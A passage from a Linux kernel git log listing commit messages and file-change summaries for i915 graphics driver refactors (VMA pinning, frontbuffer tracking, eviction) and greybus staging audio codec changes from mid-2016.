(i.e. not a bitfield). Secondly, gcc produces abysmal code when presented with a bitfield and that shows up high on the profiles of request tracking (mainly due to excess memory traffic as it converts the bitfield to a register and back and generates frequent AGI in the process). v2: BIT, break up a long line in compute the other engines, new paint for i915_gem_object_is_active (now i915_gem_object_get_active). Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1470324762-2545-23-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_debugfs.c | 2 +- drivers/gpu/drm/i915/i915_drv.h | 37 +++++++++++++++++++++++++++++- drivers/gpu/drm/i915/i915_gem.c | 16 ++++++------- drivers/gpu/drm/i915/i915_gem_execbuffer.c | 20 ++++++++++++---- drivers/gpu/drm/i915/i915_gem_shrinker.c | 5 ++-- drivers/gpu/drm/i915/i915_gem_userptr.c | 2 +- 6 files changed, 64 insertions(+), 18 deletions(-) commit 5748b6a1f48eae5b8513dd88ab6da4c176686665 Author: Chris Wilson Date: Thu Aug 4 16:32:38 2016 +0100 drm/i915: Use dev_priv consistently through the intel_frontbuffer interface Rather than a mismash of struct drm_device *dev and struct drm_i915_private *dev_priv being used freely within a function, be consistent and only pass along dev_priv. Signed-off-by: Chris Wilson Reviewed-by: Daniel Vetter Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1470324762-2545-22-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/intel_display.c | 10 +++---- drivers/gpu/drm/i915/intel_dp.c | 14 ++++------ drivers/gpu/drm/i915/intel_drv.h | 15 +++++----- drivers/gpu/drm/i915/intel_frontbuffer.c | 47 +++++++++++++------------------- drivers/gpu/drm/i915/intel_frontbuffer.h | 7 ++--- drivers/gpu/drm/i915/intel_overlay.c | 3 +- drivers/gpu/drm/i915/intel_psr.c | 26 ++++++++---------- 7 files changed, 53 insertions(+), 69 deletions(-) commit faf5bf0ad62b332769199cc09c678287ab3c5f08 Author: Chris Wilson Date: Thu Aug 4 16:32:37 2016 +0100 drm/i915: Use atomics to manipulate obj->frontbuffer_bits The individual bits inside obj->frontbuffer_bits are protected by each plane->mutex, but the whole bitfield may be accessed by multiple KMS operations simultaneously and so the RMW need to be under atomics. However, for updating the single field we do not need to mandate that it be under the struct_mutex, one more step towards its removal as the de facto BKL. Signed-off-by: Chris Wilson Cc: Daniel Vetter Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1470324762-2545-21-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_debugfs.c | 6 ++++-- drivers/gpu/drm/i915/i915_drv.h | 4 +--- drivers/gpu/drm/i915/i915_gem.c | 21 ++++++++++++++------- drivers/gpu/drm/i915/intel_display.c | 18 ++++++------------ drivers/gpu/drm/i915/intel_frontbuffer.c | 23 +++++++++-------------- drivers/gpu/drm/i915/intel_frontbuffer.h | 20 ++++++++++++++------ 6 files changed, 48 insertions(+), 44 deletions(-) commit b5add9591ca5b869b8c9c559e16ccab8a8ba4727 Author: Chris Wilson Date: Thu Aug 4 16:32:36 2016 +0100 drm/i915: Make fb_tracking.lock a spinlock We only need a very lightweight mechanism here as the locking is only used for co-ordinating a bitfield. v2: Move the cheap unlikely tests into the caller v3: Move the kerneldoc into the header (now separated out into intel_fronbuffer.h for better kerneldoc and readability) Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtien Cc: Daniel Vetter Reviewed-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/1470324762-2545-20-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_drv.h | 2 +- drivers/gpu/drm/i915/i915_gem.c | 2 +- drivers/gpu/drm/i915/intel_frontbuffer.c | 73 ++++++++++---------------------- drivers/gpu/drm/i915/intel_frontbuffer.h | 50 ++++++++++++++++++++-- 4 files changed, 71 insertions(+), 56 deletions(-) commit 5d723d7afd320e687ebb59f7ac741b0ab02d77e8 Author: Chris Wilson Date: Thu Aug 4 16:32:35 2016 +0100 drm/i915: Separate intel_frontbuffer into its own header In view of adding inline functions into the intel_frontbuffer section, we first split the header into its own file so that we can integrate it more easily with kerneldoc. Signed-off-by: Chris Wilson Cc: Daniel Vetter Reviewed-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/1470324762-2545-19-git-send-email-chris@chris-wilson.co.uk Documentation/gpu/i915.rst | 3 +++ drivers/gpu/drm/i915/i915_gem.c | 1 + drivers/gpu/drm/i915/i915_gem_execbuffer.c | 1 + drivers/gpu/drm/i915/intel_display.c | 1 + drivers/gpu/drm/i915/intel_drv.h | 11 -------- drivers/gpu/drm/i915/intel_fbdev.c | 1 + drivers/gpu/drm/i915/intel_frontbuffer.c | 1 + drivers/gpu/drm/i915/intel_frontbuffer.h | 42 ++++++++++++++++++++++++++++++ drivers/gpu/drm/i915/intel_overlay.c | 1 + drivers/gpu/drm/i915/intel_sprite.c | 1 + 10 files changed, 52 insertions(+), 11 deletions(-) commit de895082f797882b541141ceac9e407eeeb3ceca Author: Chris Wilson Date: Thu Aug 4 16:32:34 2016 +0100 drm/i915: Remove highly confusing i915_gem_obj_ggtt_pin() Since i915_gem_obj_ggtt_pin() is an idiom breaking curry function for i915_gem_object_ggtt_pin(), spare us the confusion and remove it. Removing it now simplifies later patches to change the i915_vma_pin() (and friends) interface. v2: Add a redundant GEM_BUG_ON(!view) to i915_gem_obj_lookup_or_create_ggtt_vma() Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1470324762-2545-18-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_drv.h | 9 --------- drivers/gpu/drm/i915/i915_gem.c | 17 +++++++---------- drivers/gpu/drm/i915/i915_gem_context.c | 5 ++--- drivers/gpu/drm/i915/i915_gem_execbuffer.c | 4 ++-- drivers/gpu/drm/i915/i915_gem_gtt.c | 2 ++ drivers/gpu/drm/i915/i915_gem_render_state.c | 2 +- drivers/gpu/drm/i915/i915_guc_submission.c | 4 ++-- drivers/gpu/drm/i915/intel_guc_loader.c | 2 +- drivers/gpu/drm/i915/intel_lrc.c | 8 +++++--- drivers/gpu/drm/i915/intel_overlay.c | 3 ++- drivers/gpu/drm/i915/intel_ringbuffer.c | 15 ++++++++------- 11 files changed, 32 insertions(+), 39 deletions(-) commit 305bc234a87fe8814149d36100b4b544caaddd00 Author: Chris Wilson Date: Thu Aug 4 16:32:33 2016 +0100 drm/i915: Make i915_vma_pin() small and inline Not only is i915_vma_pin() called for every single object on every single execbuf, it is usually a simple increment as the VMA is already bound for execution by the GPU. Rearrange the tests for unbound and pin_count overflow so that we can do the increment and test very cheaply and compact enough to inline the operation into execbuf. The trick used is to note that we can check for an overflow bit (keeping space available for it inside the flags) at the same time as checking the binding bits. Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1470324762-2545-17-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_gem.c | 18 +++++-------- drivers/gpu/drm/i915/i915_gem_gtt.h | 53 ++++++++++++++++++++++++++----------- 2 files changed, 44 insertions(+), 27 deletions(-) commit 3272db53136f6be7555fb294db3a6e3f372b9380 Author: Chris Wilson Date: Thu Aug 4 16:32:32 2016 +0100 drm/i915: Combine all i915_vma bitfields into a single set of flags In preparation to perform some magic to speed up i915_vma_pin(), which is among the hottest of hot paths in execbuf, refactor all the bitfields accessed by i915_vma_pin() into a single unified set of flags. Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1470324762-2545-16-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_debugfs.c | 8 ++--- drivers/gpu/drm/i915/i915_gem.c | 40 ++++++++++++---------- drivers/gpu/drm/i915/i915_gem_context.c | 2 +- drivers/gpu/drm/i915/i915_gem_execbuffer.c | 5 +-- drivers/gpu/drm/i915/i915_gem_gtt.c | 46 ++++++++++++------------- drivers/gpu/drm/i915/i915_gem_gtt.h | 55 ++++++++++++++++++------------ drivers/gpu/drm/i915/i915_gem_shrinker.c | 2 +- drivers/gpu/drm/i915/i915_gem_stolen.c | 2 +- drivers/gpu/drm/i915/i915_gpu_error.c | 4 +-- 9 files changed, 90 insertions(+), 74 deletions(-) commit 59bfa1248e22d65e6273eec6f8043c8e4450c2ba Author: Chris Wilson Date: Thu Aug 4 16:32:31 2016 +0100 drm/i915: Start passing around i915_vma from execbuffer During execbuffer we look up the i915_vma in order to reserve them in the VM. However, we then do a double lookup of the vma in order to then pin them, all because we lack the necessary interfaces to operate on i915_vma - so introduce i915_vma_pin()! v2: Tidy parameter lists to remove one level of redirection in the hot path. Signed-off-by: Chris Wilson Cc: Mika Kuoppala Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1470324762-2545-15-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_drv.h | 24 +--- drivers/gpu/drm/i915/i915_gem.c | 173 ++++++++++++----------------- drivers/gpu/drm/i915/i915_gem_execbuffer.c | 142 ++++++++++------------- drivers/gpu/drm/i915/i915_gem_gtt.c | 3 - drivers/gpu/drm/i915/i915_gem_gtt.h | 14 +++ 5 files changed, 149 insertions(+), 207 deletions(-) commit 20dfbde463c84d5e0eb32b9f3f84992eb583a698 Author: Chris Wilson Date: Thu Aug 4 16:32:30 2016 +0100 drm/i915: Wrap vma->pin_count accessors with small inline helpers In the next few patches, the VMA pinning API is overhauled and to reduce the churn we pull out the update to the accessors into a prep patch. Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1470324762-2545-14-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_debugfs.c | 2 +- drivers/gpu/drm/i915/i915_gem.c | 26 ++++++++++++------------- drivers/gpu/drm/i915/i915_gem_evict.c | 12 ++++++------ drivers/gpu/drm/i915/i915_gem_execbuffer.c | 2 +- drivers/gpu/drm/i915/i915_gem_fence.c | 2 +- drivers/gpu/drm/i915/i915_gem_gtt.c | 10 +++++----- drivers/gpu/drm/i915/i915_gem_gtt.h | 31 ++++++++++++++++++++++++++++-- drivers/gpu/drm/i915/i915_gpu_error.c | 4 ++-- 8 files changed, 58 insertions(+), 31 deletions(-) commit de18003328d1dcf845c451945461e55bb8801fd6 Author: Chris Wilson Date: Thu Aug 4 16:32:29 2016 +0100 drm/i915: Record allocated vma size Tracking the size of the VMA as allocated allows us to dramatically reduce the complexity of later functions (like inserting the VMA in to the drm_mm range manager). Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1470324762-2545-13-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_gem.c | 103 ++++++++++++++---------------------- drivers/gpu/drm/i915/i915_gem_gtt.c | 67 ++++++++--------------- drivers/gpu/drm/i915/i915_gem_gtt.h | 5 +- 3 files changed, 63 insertions(+), 112 deletions(-) commit a9f1481f41152d535a92ea63ffde9e2bea341461 Author: Chris Wilson Date: Thu Aug 4 16:32:28 2016 +0100 drm/i915: Update i915_gem_get_ggtt_size/_alignment to use drm_i915_private For consistency, internal functions should take drm_i915_private rather than drm_device. Now that we are subclassing drm_device, there are no more size wins, but being consistent is its own blessing. Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1470324762-2545-12-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_drv.h | 5 +++-- drivers/gpu/drm/i915/i915_gem.c | 30 ++++++++++++++++-------------- drivers/gpu/drm/i915/i915_gem_tiling.c | 8 ++++---- 3 files changed, 23 insertions(+), 20 deletions(-) commit ad1a7d20a1034ac916b6f73b2e1146920f709eaf Author: Chris Wilson Date: Thu Aug 4 16:32:27 2016 +0100 drm/i915: Update the GGTT size/alignment query functions In order to be consistent with other address space functions, we want to pass around 64-bit sizes, even though all known global GTT are limited to 4GiB. Similarly, we are trying to be consistent in using the _ggtt_ nomenclature when referring to the special global GTT. v2: Update docs to consistently state "global GTT". Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1470324762-2545-11-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_drv.h | 8 ++-- drivers/gpu/drm/i915/i915_gem.c | 81 +++++++++++++++++++--------------- drivers/gpu/drm/i915/i915_gem_tiling.c | 3 +- 3 files changed, 51 insertions(+), 41 deletions(-) commit 954c4691218d9e3736dec089c0a5546391c8f3df Author: Chris Wilson Date: Thu Aug 4 16:32:26 2016 +0100 drm/i915: Convert 4096 alignment request to 0 for drm_mm allocations As we always allocate in chunks of 4096 (that being both the PAGE_SIZE and our own GTT_PAGE_SIZE), we know that all results from the drm_mm are aligned to at least 4096. The drm_mm allocator itself is optimised for alignment == 0, and so by converting alignments of 4096 to 0 we can satisfy our own requirements and still hit the faster path. Signed-off-by: Chris Wilson Cc: Joonas Lahtinen Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1470324762-2545-10-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_gem.c | 9 +++++++++ 1 file changed, 9 insertions(+) commit 3b16525cc4c1a43e9053cfdc414356eea24bdfad Author: Chris Wilson Date: Thu Aug 4 16:32:25 2016 +0100 drm/i915: Split insertion/binding of an object into the VM Split the insertion into the address space's range manager and binding of that object into the GTT to simplify the code flow when pinning a VMA. Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1470324762-2545-9-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_gem.c | 35 +++++++++++++++-------------------- 1 file changed, 15 insertions(+), 20 deletions(-) commit 37508589903f8ab8b9329df0e7647a45d10a2a7c Author: Chris Wilson Date: Thu Aug 4 16:32:24 2016 +0100 drm/i915: Reduce WARN(i915_gem_valid_gtt_space) to a debug-only check i915_gem_valid_gtt_space() is used after inserting the VMA to double check the list - the location should have been chosen to pass all the restrictions. Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1470324762-2545-8-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_gem.c | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) commit 91b2db6f65fbbb1a6688bcc2e52596b723ea2472 Author: Chris Wilson Date: Thu Aug 4 16:32:23 2016 +0100 drm/i915: Pad GTT views of exec objects up to user specified size Our GPUs impose certain requirements upon buffers that depend upon how exactly they are used. Typically this is expressed as that they require a larger surface than would be naively computed by pitch * height. Normally such requirements are hidden away in the userspace driver, but when we accept pointers from strangers and later impose extra conditions on them, the original client allocator has no idea about the monstrosities in the GPU and we require the userspace driver to inform the kernel how many padding pages are required beyond the client allocation. v2: Long time, no see v3: Try an anonymous union for uapi struct compatibility Signed-off-by: Chris Wilson Cc: Tvrtko Ursulin Reviewed-by: Tvrtko Ursulin Link: http://patchwork.freedesktop.org/patch/msgid/1470324762-2545-7-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_drv.h | 6 ++- drivers/gpu/drm/i915/i915_gem.c | 80 ++++++++++++++---------------- drivers/gpu/drm/i915/i915_gem_execbuffer.c | 17 ++++++- include/uapi/drm/i915_drm.h | 8 ++- 4 files changed, 64 insertions(+), 47 deletions(-) commit 2ffffd0f85ab90f38569c39ef0455824511e80e2 Author: Chris Wilson Date: Thu Aug 4 16:32:22 2016 +0100 drm/i915: Fix up vma alignment to be u64 This is not the full fix, as we are required to percolate the u64 nature down through the drm_mm stack, but this is required now to prevent explosions due to mismatch between execbuf (eb_vma_misplaced) and vma binding (i915_vma_misplaced) - and reduces the risk of spurious changes as we adjust the vma interface in the next patches. v2: long long casts not required for u64 printk (%llx) Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1470324762-2545-6-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_drv.h | 14 ++++++-------- drivers/gpu/drm/i915/i915_gem.c | 22 +++++++++++----------- drivers/gpu/drm/i915/i915_gem_evict.c | 5 +++-- 3 files changed, 20 insertions(+), 21 deletions(-) commit e655bc35fdfdaae540136b524b574d2fb3ea9998 Author: Chris Wilson Date: Thu Aug 4 16:32:21 2016 +0100 drm/i915: Remove i915_gem_execbuffer_retire_commands() Move the single line to the callsite as the name is now misleading, and the purpose is solely to add the request to the execution queue. Here, we can see that if we failed to dispatch the batch from the request, we can forgo flushing the GPU when closing the request. Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1470324762-2545-5-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_gem_execbuffer.c | 9 +-------- 1 file changed, 1 insertion(+), 8 deletions(-) commit 0340d9fd0f74309f435d5324b885c9ca1967262c Author: Chris Wilson Date: Thu Aug 4 16:32:20 2016 +0100 drm/i915: Remove request retirement before each batch This reimplements the denial-of-service protection against igt from commit 227f782e4667 ("drm/i915: Retire requests before creating a new one") and transfers the stall from before each batch into get_pages(). The issue is that the stall is increasing latency between batches which is detrimental in some cases (especially coupled with execlists) to keeping the GPU well fed. Also we have made the observation that retiring requests can of itself free objects (and requests) and therefore makes a good first step when shrinking. v2: Recycle objects prior to i915_gem_object_get_pages() v3: Remove the reference to the ring from i915_gem_requests_ring() as it operates on an intel_engine_cs. v4: Since commit 9b5f4e5ed6fd ("drm/i915: Retire oldest completed request before allocating next") we no longer need the safeguard to retire requests before get_pages(). We no longer see the huge latencies when hitting the shrinker between allocations. Signed-off-by: Chris Wilson Cc: Daniel Vetter Cc: Joonas Lahtinen Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1470324762-2545-4-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_drv.h | 1 - drivers/gpu/drm/i915/i915_gem_execbuffer.c | 2 -- drivers/gpu/drm/i915/i915_gem_request.c | 4 ++-- 3 files changed, 2 insertions(+), 5 deletions(-) commit 115003e9ff0454687af35b9cb16ba970bf28dc61 Author: Chris Wilson Date: Thu Aug 4 16:32:19 2016 +0100 drm/i915: Double check the active status on the batch pool We should not rely on obj->active being uptodate unless we manually flush it. Instead, we can verify that the next available batch object is idle by looking at its last active request (and checking it for completion). v2: remove the struct drm_device forward declaration added in the process of removing its necessity Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1470324762-2545-3-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_gem_batch_pool.c | 15 ++++++++------- drivers/gpu/drm/i915/i915_gem_batch_pool.h | 6 ++++-- drivers/gpu/drm/i915/intel_engine_cs.c | 2 +- 3 files changed, 13 insertions(+), 10 deletions(-) commit e522ac2324f384e1fafd1a4ae6ebf38095dc6695 Author: Chris Wilson Date: Thu Aug 4 16:32:18 2016 +0100 drm/i915: Remove surplus drm_device parameter to i915_gem_evict_something() Eviction is VM local, so we can ignore the significance of the drm_device in the caller, and leave it to i915_gem_evict_something() to manage itself. Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1470324762-2545-2-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_drv.h | 3 +-- drivers/gpu/drm/i915/i915_gem.c | 2 +- drivers/gpu/drm/i915/i915_gem_evict.c | 9 ++++----- drivers/gpu/drm/i915/i915_gem_gtt.c | 2 +- drivers/gpu/drm/i915/i915_trace.h | 14 ++++++++------ 5 files changed, 15 insertions(+), 15 deletions(-) commit 9332f3b1b99a7cb738755b138988838d33ba6748 Author: Chris Wilson Date: Thu Aug 4 16:32:17 2016 +0100 drm/i915: Combine loops within i915_gem_evict_something Slight micro-optimise to produce combine loops so that gcc is able to optimise the inner-loops concisely. Since we are reviewing the loops, we can update the comments to describe the current state of affairs, in particular the distinction between evicting from the global GTT (which may contain untracked items and transient global pins) and the per-process GTT. Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/1470324762-2545-1-git-send-email-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_gem_evict.c | 143 +++++++++++++++++----------------- 1 file changed, 70 insertions(+), 73 deletions(-) commit d838a110f0b310d408ebe6b5a97e36ec27555ebf Author: Chris Wilson Date: Wed Aug 3 17:09:00 2016 +0100 drm/i915: Acquire audio powerwell for HD-Audio registers On Haswell/Broadwell, the HD-Audio block is inside the HDMI/display power well and so the sna-hda audio codec acquires the display power well while it is operational. However, Skylake separates the powerwells again, but yet we still need the audio powerwell to setup the registers. (But then the hardware uses those registers even while powered off???) Acquiring the powerwell around setting the chicken bits when setting up the audio channel does at least silence the WARNs from touching our registers whilst unpowered. We silence our own test cases, but maybe there is a latent bug in using the audio channel? v2: Grab both rpm wakelock and audio wakelock Bugzilla: https://bugs.freedesktop.org/show_bug.cgi?id=96214 Fixes: 03b135cebc47 "ALSA: hda - remove dependency on i915 power well for SKL") Signed-off-by: Chris Wilson Cc: Libin Yang Cc: Takashi Iwai Cc: Marius Vlad Tested-by: Hans de Goede Cc: stable@vger.kernel.org Link: http://patchwork.freedesktop.org/patch/msgid/1470240540-29004-1-git-send-email-chris@chris-wilson.co.uk Reviewed-by: Daniel Vetter drivers/gpu/drm/i915/intel_audio.c | 6 ++++++ 1 file changed, 6 insertions(+) commit 591c45227a77505f111dd42347b2ad09b60ed131 Author: Vaibhav Agarwal Date: Thu Aug 4 15:14:39 2016 +0530 greybus: audio: Maintain module stream state for each data connection For SPK module, each data connection corresponds to codec DAI. Now stream state is maintained for each DAI. So, need to maintain stream state for each DAI/data connection for individual module as well. Signed-off-by: Vaibhav Agarwal Reviewed-by: Mark Greer Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/audio_codec.c | 150 +++++++++++++++------------------- drivers/staging/greybus/audio_codec.h | 5 +- 2 files changed, 69 insertions(+), 86 deletions(-) commit 19866603be2ad58735f82511f3d5f680e61479ea Author: Vaibhav Agarwal Date: Thu Aug 4 15:14:38 2016 +0530 greybus: audio: Maintain runtime stream params for each DAI Runtime streams are required while configuring GB module plugged-in during active stream. Currently, it is maintained for single stream. However, this should be maintained for a stream corresponding to each DAI. Fix this! Signed-off-by: Vaibhav Agarwal Reviewed-by: Mark Greer Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/audio_codec.c | 197 ++++++++++++++++++++++------------ drivers/staging/greybus/audio_codec.h | 13 ++- 2 files changed, 141 insertions(+), 69 deletions(-) commit c388ae769699262bd48da1d529bbed731c2de559 Author: Vaibhav Agarwal Date: Thu Aug 4 15:14:37 2016 +0530 greybus: audio: Update pm runtime support in dai_ops callback Ensure pm runtime get_sync/put protection in codec_dai ops callback functions before accessing apbridge. Signed-off-by: Vaibhav Agarwal Reviewed-by: Mark Greer Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/audio_codec.c | 30 ++++++++++++++++++++++++++++++ 1 file changed, 30 insertions(+) commit 956adf749d697decd9fb5f46aa0fbbc889f4dfe1 Author: Vaibhav Agarwal Date: Thu Aug 4 15:14:36 2016 +0530 greybus: Remove unused field from data_connection Audio codec driver internally maintains a struct containing info about module's data connection. Remove unused field from this struct. Signed-off-by: Vaibhav Agarwal Reviewed-by: Mark Greer Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/audio_codec.h | 2 -- drivers/staging/greybus/audio_module.c | 2 -- 2 files changed, 4 deletions(-) commit 60e7327d54b270eeadc120b6202af50856548376 Author: Vaibhav Agarwal Date: Thu Aug 4 15:14:35 2016 +0530 greybus: audio: Find data connection based on id Currently we are using dai->name to identify data connection from list for a module. Now since we are enabling data path based on widget, dai->name might be invalid by the time driver receives disable request for a widget. So, use id fetched from AIF widget->sname to identify data connection for a module. Signed-off-by: Vaibhav Agarwal Reviewed-by: Mark Greer Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/audio_codec.c | 80 +++++++++++++++++------------------ 1 file changed, 39 insertions(+), 41 deletions(-) commit b7e7dc0083d662c061dcd547c7dde4db24331ebc Author: Vaibhav Agarwal Date: Thu Aug 4 15:14:34 2016 +0530 greybus: audio: Add id to identify data connection Added id field to data connection struct. This is used to identify which data connection to use while enabling interface between module & APB. Signed-off-by: Vaibhav Agarwal Reviewed-by: Mark Greer Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/audio_codec.h | 1 + drivers/staging/greybus/audio_module.c | 1 + 2 files changed, 2 insertions(+) commit 487dcbd6ba46548f8f24dbd75423785ec8153712 Author: Vaibhav Agarwal Date: Thu Aug 4 15:14:33 2016 +0530 greybus: audio: Use AIF widget to enable path between module & APB Currently, SPK Amp switch is used to identify when to enable data path between module and APB. With headset, other switch controls added, it is not possible to use this switch to control data path. Instead path should be established based on AIF widget. Signed-off-by: Vaibhav Agarwal Reviewed-by: Mark Greer Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/audio_codec.c | 23 +++++------------------ 1 file changed, 5 insertions(+), 18 deletions(-) commit 4ffca62a051c3e1722bcaf6a367b419e6e5e40e0 Author: Vaibhav Agarwal Date: Thu Aug 4 15:14:32 2016 +0530 greybus: audio: Update parameters for gbaudio_module_update API Earlier, module path was enabled based on module's control switch e.g. 'SPK Amp switch'. Thus widget's name was sufficient to parse and identify the direction. Now individual modules' path will be enabled based on AIF widget status. So, it is required to get complete widget details, say w->type is used to identify direction (playback/capture) and w->sname is used to identify module's DATA connection used for communication via greybus. Signed-off-by: Vaibhav Agarwal Reviewed-by: Mark Greer Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/audio_codec.c | 5 +++-- drivers/staging/greybus/audio_codec.h | 6 +++--- drivers/staging/greybus/audio_topology.c | 6 ++---- 3 files changed, 8 insertions(+), 9 deletions(-) commit 1568159868f6b6c4ab17aa28ef4d5d4fc02317f1 Author: Vaibhav Agarwal Date: Thu Aug 4 15:14:31 2016 +0530 greybus: audio: Update dai_driver table with appropriate fields Currently, the stream name for the DAI driver is generically set to "GB Audio Playback" and "GB Audio Capture". This is OK since we use a single interface on APB1 but that could change in the future. Update the DAI driver table entries to properly reflect the interface used. Signed-off-by: Vaibhav Agarwal Reviewed-by: Mark Greer Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/audio_codec.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit aaef32a6cc552d50b86fcf9c5b2105f08c048cdc Author: Vaibhav Agarwal Date: Thu Aug 4 15:14:30 2016 +0530 greybus: audio: Split helper APIs based on stream direction Now, module is enabled/disabled based on widget event only and not during startup/shutdown callbacks. Thus, we needn't compare codec_state in enable/disable module helper APIs. Also, these can be further simplified based on stream direction. Signed-off-by: Vaibhav Agarwal Reviewed-by: Mark Greer Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/audio_codec.c | 405 +++++++++++++++++++--------------- 1 file changed, 228 insertions(+), 177 deletions(-) commit ce9413062f8e2366916beebbfa8e73c6ff1a2c8c Author: Vaibhav Agarwal Date: Thu Aug 4 15:14:29 2016 +0530 greybus: audio: Enable audio path based on control switch state only As per current implementation, audio data is played from each individual SPK module connected to endo frame. This is not a valid requirement in case of capture/headset path. So, provide a mechanism to enable individual module path based on it's control switch state. Signed-off-by: Vaibhav Agarwal Reviewed-by: Mark Greer Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/audio_codec.c | 334 +++++----------------------------- 1 file changed, 50 insertions(+), 284 deletions(-) commit 90579d4b577154606a54cab9771e15a41867b79b Author: Vaibhav Agarwal Date: Thu Aug 4 15:14:28 2016 +0530 greybus: audio: Remove un-necessary goto statement For most of the helper functions, goto statement is widely used. It was originally used with an intent of single exit point for the function with some cleanup required. This is no more the case. So, simplify code by avoiding un-necessary gotos. Signed-off-by: Vaibhav Agarwal Reviewed-by: Mark Greer Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/audio_codec.c | 21 +++++++++++---------- 1 file changed, 11 insertions(+), 10 deletions(-) commit 65fbb4e79978c88e817f22094308dcf1a3442bee Author: Ville Syrjälä Date: Thu Jul 28 17:50:47 2016 +0300 drm/i915: Don't try to ack sink irqs when there are none My ASUS PB278 at least doesn't seem to appreciate when you try to ack sink irqs when there are none. Results in this sort of dmesg spam [drm:drm_dp_dpcd_access] too many retries, giving up Let's skip the ack if there are no pending irqs. I have no clue why we do this in two places. One of them likely should just go away. Oh, and MST has its own sink irq handler too... Signed-off-by: Ville Syrjälä Link: http://patchwork.freedesktop.org/patch/msgid/1469717448-4297-12-git-send-email-ville.syrjala@linux.intel.com Reviewed-by: Daniel Vetter drivers/gpu/drm/i915/intel_dp.c | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) commit 1354f734c5f3e9f08f97d22aff97612ee7ec9d3e Author: Ville Syrjälä Date: Thu Jul 28 17:50:45 2016 +0300 drm/i915: Remove useless rate_to_index() usage No need to iterate the rates array in intel_dp_max_link_rate(). We know the max rate will be the last entry, and we already know the size. Cc: Ander Conselvan de Oliveira Cc: Jim Bride Cc: Manasi D Navare Cc: Durgadoss R Signed-off-by: Ville Syrjälä Link: http://patchwork.freedesktop.org/patch/msgid/1469717448-4297-10-git-send-email-ville.syrjala@linux.intel.com Reviewed-by: Daniel Vetter drivers/gpu/drm/i915/intel_dp.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit c4e3170a0cdeec5ba9749a49a757b7ea722829d6 Author: Ville Syrjälä Date: Fri Jul 29 16:51:16 2016 +0300 drm/i915: Allow MST sinks 